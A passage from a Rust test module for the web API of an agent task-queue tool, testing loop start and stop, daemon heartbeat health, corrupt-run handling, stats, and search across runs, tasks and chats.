9635        // that is just as much "this task's story is over" as the loop's own
9636        // `Merged`/`Ready` path, so it must trigger the same cleanup.
9637        let f = Fixture::start().await;
9638        let queue = f.queue();
9639        let runs = f.runs();
9640        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9641        // The last attempt has to have actually landed for the earlier one
9642        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
9643        // for the case where it didn't.
9644        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9645
9646        let mut task = Task::new(
9647            "landed by hand".to_owned(),
9648            "x".to_owned(),
9649            PathBuf::from("/repo/magi"),
9650            Source::Human,
9651        );
9652        task.runs.push("20260101-000000-doa1".to_owned());
9653        task.runs.push("20260101-000000-doa2".to_owned());
9654        queue.put(&mut task).expect("file the task");
9655
9656        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9657        assert_eq!(done.status, 200, "{}", done.body);
9658
9659        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9660            .expect("run still on disk under this fixture's own home");
9661        assert_eq!(
9662            reloaded_run.status,
9663            RunStatus::Superseded,
9664            "closing the task by hand must relabel the earlier blocked attempt exactly \
9665             like the loop's own settle path does"
9666        );
9667    }
9668
9669    #[tokio::test]
9670    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9671        // Closing a task by hand is allowed from any status, including one
9672        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
9673        // manual merge the loop never watched, say. Nothing here is provably
9674        // why the task is done, so nothing earlier gets relabelled either.
9675        let f = Fixture::start().await;
9676        let queue = f.queue();
9677        let runs = f.runs();
9678        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9679        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9680
9681        let mut task = Task::new(
9682            "closed with nothing actually landed".to_owned(),
9683            "x".to_owned(),
9684            PathBuf::from("/repo/magi"),
9685            Source::Human,
9686        );
9687        task.runs.push("20260101-000000-dob1".to_owned());
9688        task.runs.push("20260101-000000-dob2".to_owned());
9689        queue.put(&mut task).expect("file the task");
9690
9691        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9692        assert_eq!(done.status, 200, "{}", done.body);
9693
9694        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9695            .expect("run still on disk under this fixture's own home");
9696        assert_eq!(
9697            reloaded_run.status,
9698            RunStatus::Blocked,
9699            "the last recorded attempt never landed, so the earlier one must not be \
9700             relabelled as superseded by it"
9701        );
9702    }
9703
9704    #[tokio::test]
9705    async fn unknown_ids_are_json_not_found_on_both_stores() {
9706        let f = Fixture::start().await;
9707
9708        let run = f.get("/api/runs/nosuchrun").await;
9709        let task = f.post("/api/queue/nosuchtask/hold", None).await;
9710
9711        assert_eq!(run.status, 404);
9712        assert_eq!(task.status, 404);
9713        assert!(
9714            run.json()["error"]
9715                .as_str()
9716                .is_some_and(|e| e.contains("run")),
9717            "the error names what was not found: {}",
9718            run.body
9719        );
9720        assert!(
9721            task.json()["error"]
9722                .as_str()
9723                .is_some_and(|e| e.contains("task")),
9724            "the error names what was not found: {}",
9725            task.body
9726        );
9727    }
9728
9729    #[tokio::test]
9730    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9731        let f = Fixture::start().await;
9732
9733        let missing = f.get("/api/health").await.json();
9734        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9735
9736        write_daemon(
9737            f.home.path(),
9738            Timestamp::now() - jiff::SignedDuration::from_secs(60),
9739        );
9740        let stale = f.get("/api/health").await.json();
9741        assert_eq!(
9742            stale["daemon"]["running"], false,
9743            "a minute without a heartbeat is a dead daemon, not a busy one"
9744        );
9745        assert!(
9746            stale["daemon"]["stale_for_secs"]
9747                .as_i64()
9748                .is_some_and(|s| s >= 55),
9749            "staleness is reported so the UI can say how long: {stale}"
9750        );
9751
9752        write_daemon(f.home.path(), Timestamp::now());
9753        let fresh = f.get("/api/health").await.json();
9754        assert_eq!(fresh["daemon"]["running"], true);
9755        assert_eq!(fresh["daemon"]["idle"], false);
9756        assert_eq!(fresh["daemon"]["pid"], 4242);
9757        assert_eq!(fresh["daemon"]["completed"], 7);
9758        assert_eq!(
9759            fresh["daemon"]["current"][0]["task"],
9760            "20260902-140501-aaaa"
9761        );
9762        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9763    }
9764
9765    #[tokio::test]
9766    async fn the_loop_is_not_running_until_something_starts_it() {
9767        let f = Fixture::start().await;
9768
9769        let view = f.get("/api/loop").await.json();
9770        assert_eq!(view["running"], false);
9771        assert_eq!(
9772            view["owned"], false,
9773            "nobody owns a loop that does not exist: {view}"
9774        );
9775        assert_eq!(view["stopping"], false);
9776        assert_eq!(view["last_error"], Value::Null);
9777        assert_eq!(view["daemon"]["running"], false);
9778        assert_eq!(
9779            view["repo"], "/repo/magi",
9780            "the repository a start would use, named before it is started"
9781        );
9782    }
9783
9784    #[tokio::test]
9785    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9786        let f = Fixture::start().await;
9787
9788        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9789        assert_eq!(res.status, 200, "{}", res.body);
9790        let view = res.json();
9791        assert_eq!(view["running"], true);
9792        assert_eq!(
9793            view["owned"], true,
9794            "the loop the UI started is the UI's own to stop: {view}"
9795        );
9796        assert_eq!(
9797            view["merge"],
9798            Value::Null,
9799            "no override was given, so each repository's own config decides"
9800        );
9801
9802        // The same object from the route a waking phone polls first. Two
9803        // surfaces disagreeing about whether anything is running is exactly
9804        // the confusion this UI exists to remove.
9805        let health = f.get("/api/health").await.json();
9806        assert_eq!(health["loop"]["running"], true, "{health}");
9807        assert_eq!(health["loop"]["owned"], true, "{health}");
9808
9809        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9810    }
9811
9812    #[tokio::test]
9813    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9814        let f = Fixture::start().await;
9815        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9816        assert_eq!(first.status, 200, "{}", first.body);
9817
9818        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9819        assert_eq!(
9820            again.status, 409,
9821            "two loops on one queue race for the same claims: {}",
9822            again.body
9823        );
9824        assert!(
9825            again.json()["error"]
9826                .as_str()
9827                .is_some_and(|e| e.contains("already running the loop")),
9828            "the refusal has to say why: {}",
9829            again.body
9830        );
9831        assert_eq!(
9832            f.get("/api/loop").await.json()["running"],
9833            true,
9834            "and the loop that was already running is untouched by it"
9835        );
9836
9837        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9838    }
9839
9840    #[tokio::test]
9841    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9842        let f = Fixture::start().await;
9843        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9844
9845        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9846        assert_eq!(
9847            res.status, 200,
9848            "the answer must not wait for the loop: a run in flight is tens of \
9849             minutes and the operator is holding a phone: {}",
9850            res.body
9851        );
9852
9853        let view = settled(&f, |v| v["running"] == false).await;
9854        assert_eq!(view["owned"], false);
9855        assert_eq!(
9856            view["stopping"], false,
9857            "a loop that has stopped is not still stopping: {view}"
9858        );
9859        assert_eq!(
9860            view["last_error"],
9861            Value::Null,
9862            "a loop that was asked to stop did not fail: {view}"
9863        );
9864
9865        // Idempotent, because the operator cannot tell a slow stop from a lost
9866        // one and will press it again.
9867        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9868        assert_eq!(twice.status, 200, "{}", twice.body);
9869    }
9870
9871    #[tokio::test]
9872    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9873        let f = Fixture::start().await;
9874        // How the operator has been doing it: a `magi serve` of their own,
9875        // heartbeat fresh, in the same home this UI reads.
9876        write_daemon(f.home.path(), Timestamp::now());
9877
9878        let view = f.get("/api/loop").await.json();
9879        assert_eq!(view["running"], false, "not in this process: {view}");
9880        assert_eq!(view["owned"], false, "and not this process's to control");
9881        assert_eq!(
9882            view["daemon"]["running"], true,
9883            "but a loop is alive somewhere, which is what the UI must say"
9884        );
9885        assert_eq!(view["daemon"]["pid"], 4242);
9886
9887        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9888            let res = f.post("/api/loop", Some(body)).await;
9889            assert_eq!(
9890                res.status, 409,
9891                "neither button may pretend to work on someone else's loop: {}",
9892                res.body
9893            );
9894            assert!(
9895                res.json()["error"]
9896                    .as_str()
9897                    .is_some_and(|e| e.contains("4242")),
9898                "the refusal has to name the process the operator must go to: {}",
9899                res.body
9900            );
9901        }
9902        assert_eq!(
9903            f.get("/api/loop").await.json()["running"],
9904            false,
9905            "and the refusal started nothing"
9906        );
9907    }
9908
9909    #[tokio::test]
9910    async fn a_stale_status_file_is_not_a_foreign_owner() {
9911        let f = Fixture::start().await;
9912        write_daemon(
9913            f.home.path(),
9914            Timestamp::now() - jiff::SignedDuration::from_secs(60),
9915        );
9916
9917        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9918        assert_eq!(
9919            res.status, 200,
9920            "a daemon killed a minute ago must not lock the loop out of its \
9921             own home for good: {}",
9922            res.body
9923        );
9924        assert_eq!(res.json()["running"], true);
9925
9926        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9927    }
9928
9929    #[tokio::test]
9930    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9931        let f = Fixture::start().await;
9932        let before = f.get("/api/health").await.json()["loop_rev"]
9933            .as_u64()
9934            .expect("a loop revision");
9935
9936        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9937
9938        let after = f.get("/api/health").await.json()["loop_rev"]
9939            .as_u64()
9940            .expect("a loop revision");
9941        assert!(
9942            after > before,
9943            "the loop is in-process state, so this counter is the only thing \
9944             that tells a second device the first one started it: {before} -> \
9945             {after}"
9946        );
9947
9948        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9949    }
9950
9951    #[tokio::test]
9952    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9953        let f = Fixture::with_loop(launch_broken).await;
9954
9955        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9956        assert_eq!(
9957            res.status, 200,
9958            "starting it is not the failure: {}",
9959            res.body
9960        );
9961
9962        let view = settled(&f, |v| v["last_error"].is_string()).await;
9963        assert_eq!(
9964            view["running"], false,
9965            "a loop that died must not read as running, or the operator has \
9966             nothing to press: {view}"
9967        );
9968        assert_eq!(view["owned"], false);
9969        assert!(
9970            view["last_error"]
9971                .as_str()
9972                .is_some_and(|e| e.contains("read-only file system")),
9973            "the phone is where a loop that died at 3am is visible: {view}"
9974        );
9975
9976        // And it can be started again: the corpse was reaped, not left to
9977        // occupy the slot.
9978        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9979        assert_eq!(again.status, 200, "{}", again.body);
9980        assert_eq!(
9981            again.json()["last_error"],
9982            Value::Null,
9983            "a fresh start does not keep showing why the last one died"
9984        );
9985    }
9986
9987    /// An upgrade parks the run in flight before it restarts, and a park waits
9988    /// for the node - up to `timeout_implement`, an hour by default. The deck
9989    /// has to answer for all of it: the operator has just been told a run is
9990    /// finishing first, and this address is the only place that says how it is
9991    /// going. It did not, once - the listener went with the `select!` arm that
9992    /// began the handover, and the phone got `Cannot reach magi: Failed to
9993    /// fetch` for the rest of the wave.
9994    ///
9995    /// The other half is the older rule: the address must be free *before* the
9996    /// successor is started, or it dies on "address already in use" with its
9997    /// stdio sent to null and the deck never comes back.
9998    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9999    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10000        let home = TempDir::new().expect("temp home");
10001        let runs = home.path().join("runs");
10002        std::fs::create_dir_all(&runs).expect("runs dir");
10003        let ui = Ui::new(
10004            Queue::at(home.path().join("queue")),
10005            Questions::at(home.path().join("questions")),
10006            Talks::at(home.path().join("talks")),
10007            runs,
10008            home.path().to_path_buf(),
10009            PathBuf::from("/repo/magi"),
10010        )
10011        .with_worktrees_root(home.path().join("wt"))
10012        .with_launch(launch_knocking_on_the_way_out);
10013        let looping = ui.looping();
10014        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10015            .await
10016            .expect("bind loopback");
10017        let addr = listener.local_addr().expect("local addr");
10018        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10019        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10020
10021        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10022        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10023
10024        // The successor's whole job, and the one thing it cannot do while this
10025        // process still holds the socket.
10026        //
10027        // One bind is not enough, and the reason is not this process's order of
10028        // operations: aborting the accept loop drops the listener, but axum
10029        // serves each accepted connection on a task of its own, and those are
10030        // not aborted. The requests above left sockets on this very address,
10031        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
10032        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
10033        // Production absorbs that in `bind_waiting`; so does this. Only
10034        // `AddrInUse` is retried, and the listener is released before the
10035        // closure returns - were the order wrong, the listener would outlive
10036        // the closure and every attempt would fail. Inferred from the bind
10037        // rules and the code; not reproduced on macOS.
10038        let bound = std::sync::Mutex::new(None);
10039        hand_over(home.path(), &looping, served, |_| {
10040            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10041            let attempt = loop {
10042                match std::net::TcpListener::bind(addr) {
10043                    Ok(l) => {
10044                        drop(l);
10045                        break Ok(());
10046                    }
10047                    Err(e)
10048                        if e.kind() == std::io::ErrorKind::AddrInUse
10049                            && std::time::Instant::now() < deadline =>
10050                    {
10051                        std::thread::sleep(std::time::Duration::from_millis(10));
10052                    }
10053                    Err(e) => break Err(e.to_string()),
10054                }
10055            };
10056            *bound.lock().expect("bound") = Some(attempt);
10057            Ok(())
10058        })
10059        .await
10060        .expect("hand over");
10061
10062        assert_eq!(
10063            *PARK_HEARD.lock().expect("park heard"),
10064            Some(200),
10065            "the deck must answer while the loop is parking"
10066        );
10067        let attempt = bound
10068            .lock()
10069            .expect("bound")
10070            .take()
10071            .expect("the successor was started");
10072        assert!(
10073            attempt.is_ok(),
10074            "and the address must be free by the time it is: {attempt:?}"
10075        );
10076    }
10077
10078    #[tokio::test]
10079    async fn a_newer_daemon_status_file_still_renders() {
10080        let f = Fixture::start().await;
10081        // A field this build has never heard of must not turn the status line
10082        // into a 500; that is the whole reason the reader is permissive.
10083        std::fs::write(
10084            f.home.path().join("daemon.json"),
10085            serde_json::json!({
10086                "schema": 2,
10087                "updated_at": Timestamp::now().to_string(),
10088                "idle": true,
10089                "surprise": { "nested": [1, 2, 3] },
10090            })
10091            .to_string(),
10092        )
10093        .expect("write daemon.json");
10094
10095        let health = f.get("/api/health").await;
10096
10097        assert_eq!(health.status, 200);
10098        assert_eq!(health.json()["daemon"]["running"], true);
10099    }
10100
10101    #[tokio::test]
10102    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10103        let f = Fixture::start().await;
10104        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10105        let broken = f.runs().join("20260902-140502-bad");
10106        std::fs::create_dir_all(&broken).expect("run dir");
10107        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10108
10109        let list = f.get("/api/runs").await;
10110        let detail = f.get("/api/runs/20260902-140502-bad").await;
10111
10112        assert_eq!(list.status, 200);
10113        let listed = list.json();
10114        let ids: Vec<&str> = listed
10115            .as_array()
10116            .expect("an array")
10117            .iter()
10118            .map(|r| r["id"].as_str().expect("an id"))
10119            .collect();
10120        assert_eq!(
10121            ids,
10122            vec!["20260902-140501-good"],
10123            "one unreadable run must not cost the operator the whole history"
10124        );
10125        assert_eq!(detail.status, 500);
10126        assert!(
10127            detail.json()["error"]
10128                .as_str()
10129                .is_some_and(|e| e.contains("run.json")),
10130            "the failure names the file to look at: {}",
10131            detail.body
10132        );
10133        // A skipped run has to be countable somewhere, or the UI shows an
10134        // empty history with nothing to explain it - which is exactly what a
10135        // directory full of older-schema runs looks like.
10136        let health = f.get("/api/health").await;
10137        assert_eq!(health.json()["runs_unreadable"], 1);
10138    }
10139
10140    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
10141    #[tokio::test]
10142    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10143        let f = Fixture::start().await;
10144        let runs = f.runs();
10145        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10146        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10147        // Text three levels down, in a shape no current RunState has: an older
10148        // schema must still search.
10149        let path = runs.join("20260902-140502-bbbb").join("run.json");
10150        let mut v: serde_json::Value =
10151            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10152        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10153        std::fs::write(&path, v.to_string()).unwrap();
10154        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10155        std::fs::write(
10156            runs.join("20260902-140503-cccc").join("run.json"),
10157            "{ not json",
10158        )
10159        .unwrap();
10160
10161        let res = f.get("/api/search?scope=runs&q=quokka").await;
10162        assert_eq!(res.status, 200, "{}", res.body);
10163        let v = res.json();
10164        assert_eq!(v["total"], 1, "{v}");
10165        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10166        assert_eq!(v["hits"][0]["field"], "text");
10167        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10168        let parts = v["hits"][0]["snippet"].as_array().unwrap();
10169        assert!(
10170            parts
10171                .iter()
10172                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10173            "{v}"
10174        );
10175        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10176        assert_eq!(
10177            flat, "The Quokka leaks across threads",
10178            "whitespace is collapsed"
10179        );
10180
10181        // Terms are ANDed, across different fields, case-insensitively.
10182        let both = f
10183            .get("/api/search?scope=runs&q=MOBILE%20quokka")
10184            .await
10185            .json();
10186        assert_eq!(both["total"], 1, "{both}");
10187        let neither = f
10188            .get("/api/search?scope=runs&q=quokka%20zebra")
10189            .await
10190            .json();
10191        assert_eq!(neither["total"], 0, "{neither}");
10192        // Everything in the task statement is reachable, not only the row text.
10193        let stmt = f
10194            .get("/api/search?scope=runs&q=mobile%20first")
10195            .await
10196            .json();
10197        assert_eq!(stmt["total"], 2, "{stmt}");
10198        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10199        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10200    }
10201
10202    #[test]
10203    fn snippet_ignores_terms_longer_than_the_field() {
10204        let terms = ["ok".to_owned(), "elephant".to_owned()];
10205        let parts = snippet_of("ok", &terms);
10206        assert_eq!(
10207            parts,
10208            vec![SnippetPart {
10209                text: "ok".to_owned(),
10210                hit: true
10211            }]
10212        );
10213    }
10214
10215    #[test]
10216    fn snippet_marks_matches_longer_than_the_window() {
10217        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10218        let hit_len = |parts: &[SnippetPart]| -> usize {
10219            parts
10220                .iter()
10221                .filter(|p| p.hit)
10222                .map(|p| p.text.chars().count())
10223                .sum()
10224        };
10225        let total =
10226            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10227
10228        let long = "a".repeat(120);
10229        let parts = snippet_of(&long, std::slice::from_ref(&long));
10230        assert!(hit_len(&parts) > 0, "{parts:?}");
10231        assert!(total(&parts) <= cap);
10232
10233        let ja = "あ".repeat(130);
10234        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10235        assert!(hit_len(&parts) > 0, "{parts:?}");
10236        assert!(total(&parts) <= cap);
10237
10238        // A short hit, then one straddling the window's end.
10239        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10240        let term = format!("ab{}", "c".repeat(100));
10241        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10242        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10243        assert!(total(&parts) <= cap);
10244
10245        // Only the head matches: not highlighted.
10246        let text = format!("{}z", "a".repeat(119));
10247        let parts = snippet_of(&text, &["a".repeat(120)]);
10248        assert_eq!(hit_len(&parts), 0, "{parts:?}");
10249    }
10250
10251    #[tokio::test]
10252    async fn search_caps_hits_and_snippet_length() {
10253        let f = Fixture::start().await;
10254        let runs = f.runs();
10255        for n in 0..(SEARCH_MAX_HITS + 5) {
10256            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10257        }
10258        let v = f.get("/api/search?scope=runs&q=web").await.json();
10259        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10260        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10261        assert_eq!(v["truncated"], true);
10262        // Every listed run hit carries its list row for the page's filters.
10263        assert!(
10264            v["hits"]
10265                .as_array()
10266                .unwrap()
10267                .iter()
10268                .all(|h| h["run"]["status"] == "merged")
10269        );
10270
10271        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10272        let parts = snippet_of(&long, &["needle".to_owned()]);
10273        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10274        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10275        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10276    }
10277
10278    #[tokio::test]
10279    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10280        let f = Fixture::start().await;
10281        let queue = f.queue();
10282        let mut t = Task::new(
10283            "short title".to_owned(),
10284            "line one\nthe hidden Armadillo detail".to_owned(),
10285            PathBuf::from("/repo/magi"),
10286            Source::Agent {
10287                run: "r1".to_owned(),
10288                node: "chat".to_owned(),
10289            },
10290        );
10291        t.last_error = Some("disk full on /tmp".to_owned());
10292        queue.put(&mut t).expect("file the task");
10293
10294        for (q, want) in [
10295            ("armadillo", 1),
10296            ("disk%20FULL", 1),
10297            ("chat", 1),
10298            ("queued", 1),
10299            ("short%20nothing", 0),
10300        ] {
10301            let v = f
10302                .get(&format!("/api/search?scope=tasks&q={q}"))
10303                .await
10304                .json();
10305            assert_eq!(v["total"], want, "{q}: {v}");
10306        }
10307        for bad in [
10308            "/api/search?scope=tasks&q=",
10309            "/api/search?scope=tasks&q=%20",
10310            "/api/search?scope=chats&q=",
10311            "/api/search?scope=chats&q=%20",
10312            "/api/search?scope=nope&q=a",
10313            "/api/search?q=a",
10314        ] {
10315            assert_eq!(f.get(bad).await.status, 400, "{bad}");
10316        }
10317    }
10318
10319    /// Write one conversation file the way the store reads it back.
10320    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10321        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10322            .expect("seat value");
10323        let turns: Vec<serde_json::Value> = turns
10324            .iter()
10325            .map(|(who, body)| {
10326                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10327            })
10328            .collect();
10329        let doc = serde_json::json!({
10330            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10331            "status": status, "turns": turns,
10332            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10333            "seat": seat,
10334        });
10335        let dir = f.home.path().join("talks");
10336        std::fs::create_dir_all(&dir).expect("talks dir");
10337        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10338    }
10339
10340    #[tokio::test]
10341    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10342        let f = Fixture::start().await;
10343        write_talk(
10344            &f,
10345            "20260901-000001-aaaa",
10346            "open",
10347            &[
10348                (
10349                    "operator",
10350                    "\n  Why does the Pangolin cache expire?\nsecond line",
10351                ),
10352                ("agent", "Because the TTL is thirty seconds."),
10353            ],
10354        );
10355        write_talk(
10356            &f,
10357            "20260901-000002-bbbb",
10358            "closed",
10359            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10360        );
10361        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10362
10363        let search = |q: &'static str| {
10364            let f = &f;
10365            async move {
10366                f.get(&format!("/api/search?scope=chats&q={q}"))
10367                    .await
10368                    .json()
10369            }
10370        };
10371
10372        let v = search("PANGOLIN").await;
10373        assert_eq!(v["scope"], "chats");
10374        assert_eq!(v["total"], 1, "{v}");
10375        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10376        assert_eq!(v["hits"][0]["field"], "title");
10377        assert_eq!(v["unreadable"], 1, "{v}");
10378        let marked: Vec<&str> = v["hits"][0]["snippet"]
10379            .as_array()
10380            .unwrap()
10381            .iter()
10382            .filter(|p| p["hit"] == true)
10383            .map(|p| p["text"].as_str().unwrap())
10384            .collect();
10385        assert_eq!(marked, ["Pangolin"]);
10386
10387        // An agent turn, in a closed conversation.
10388        let v = search("zebra").await;
10389        assert_eq!(v["total"], 1, "{v}");
10390        assert_eq!(v["hits"][0]["field"], "agent");
10391        // Words may sit in different turns; all must be present.
10392        assert_eq!(search("pangolin%20thirty").await["total"], 1);
10393        assert_eq!(search("pangolin%20zebra").await["total"], 0);
10394        // Bookkeeping is not searched.
10395        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10396            assert_eq!(search(q).await["total"], 0, "{q}");
10397        }
10398        // The first line only is the title; the second line is still a turn.
10399        assert_eq!(search("second").await["hits"][0]["field"], "operator");
10400        // Open conversations are listed before closed ones.
10401        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10402
10403        let v = f.get("/api/search?scope=nope&q=a").await;
10404        assert_eq!(v.status, 400);
10405        assert!(
10406            v.body.contains("scope must be runs, tasks or chats"),
10407            "{}",
10408            v.body
10409        );
10410    }
10411
10412    #[test]
10413    fn a_question_card_links_a_task_id_to_the_task_page() {
10414        let start = APP_JS
10415            .find("function updateAskCard(")
10416            .expect("updateAskCard exists");
10417        let body = &APP_JS[start..];
10418        let body = &body[..body.find("\n}\n").expect("function end")];
10419        assert!(body.contains("question.run_is_task"));
10420        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10421        assert!(body.contains("`#/runs/${question.run}`"));
10422        assert!(body.contains("\"task\" : \"run\""));
10423    }
10424
10425    #[test]
10426    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10427        let start = APP_JS
10428            .find("function scheduleSearch(")
10429            .expect("scheduleSearch exists");
10430        let body = &APP_JS[start..];
10431        let body = &body[..body.find("\n}\n").expect("function end")];
10432        assert!(body.contains("s.seq += 1"));
10433    }
10434
10435    /// The dashboard reads every run's state itself rather than trusting a
10436    /// separately-maintained count, so an unreadable run must be counted the
10437    /// same way `/api/health` counts it - never silently dropped the way the
10438    /// CLI's own `stats::load_all` drops it.
10439    #[tokio::test]
10440    async fn stats_runs_unreadable_matches_health() {
10441        let f = Fixture::start().await;
10442        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10443        let broken = f.runs().join("20260902-140502-bad");
10444        std::fs::create_dir_all(&broken).expect("run dir");
10445        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10446
10447        let stats = f.get("/api/stats").await;
10448        let health = f.get("/api/health").await;
10449
10450        assert_eq!(stats.status, 200);
10451        assert_eq!(stats.json()["totals"]["runs"], 1);
10452        assert_eq!(stats.json()["runs_unreadable"], 1);
10453        assert_eq!(
10454            stats.json()["runs_unreadable"],
10455            health.json()["runs_unreadable"],
10456            "the dashboard and /api/health must never disagree about how many \
10457             runs could not be read"
10458        );
10459    }
10460
10461    #[tokio::test]
10462    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10463        let f = Fixture::start().await;
10464        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10465        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10466        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10467
10468        let totals = &f.get("/api/stats").await.json()["totals"];
10469        assert_eq!(totals["runs"], 3);
10470        assert_eq!(totals["merged"], 1);
10471        assert_eq!(totals["stalled"], 1);
10472        assert_eq!(totals["in_progress"], 1);
10473        // A stalled run must never read as blocked/merged/ready - it is its
10474        // own bucket, not folded into a "decided" one.
10475        assert_eq!(totals["blocked"], 0);
10476        assert_eq!(totals["ready"], 0);
10477    }
10478
10479    #[tokio::test]
10480    async fn stats_advisors_report_proposals_and_reflection() {
10481        use crate::advise::{Advice, AdvisorRecord, Reflection};
10482        use crate::verdict::Proposal;
10483
10484        let f = Fixture::start().await;
10485        let mut state = RunState::new(
10486            PathBuf::from("/repo/magi"),
10487            "main".to_owned(),
10488            "0123456789abcdef".to_owned(),
10489            "task".to_owned(),
10490            Config::default(),
10491        );
10492        state.id = "20260902-140501-a".to_owned();
10493        state.status = RunStatus::Merged;
10494        state.advice = Some(Advice {
10495            records: vec![
10496                AdvisorRecord {
10497                    seat: "advisor-1".to_owned(),
10498                    agent: "alpha".to_owned(),
10499                    proposal: Some(Proposal {
10500                        approach: "do it".to_owned(),
10501                        key_tradeoff: "speed over memory".to_owned(),
10502                        risks: Vec::new(),
10503                        touches: Vec::new(),
10504                        why_not_naive: "breaks under load".to_owned(),
10505                    }),
10506                    error: None,
10507                    duration_ms: 0,
10508                    reflection: Reflection::Strong,
10509                },
10510                AdvisorRecord {
10511                    seat: "advisor-2".to_owned(),
10512                    agent: "alpha".to_owned(),
10513                    proposal: None,
10514                    error: Some("timed out".to_owned()),
10515                    duration_ms: 0,
10516                    reflection: Reflection::Absent,
10517                },
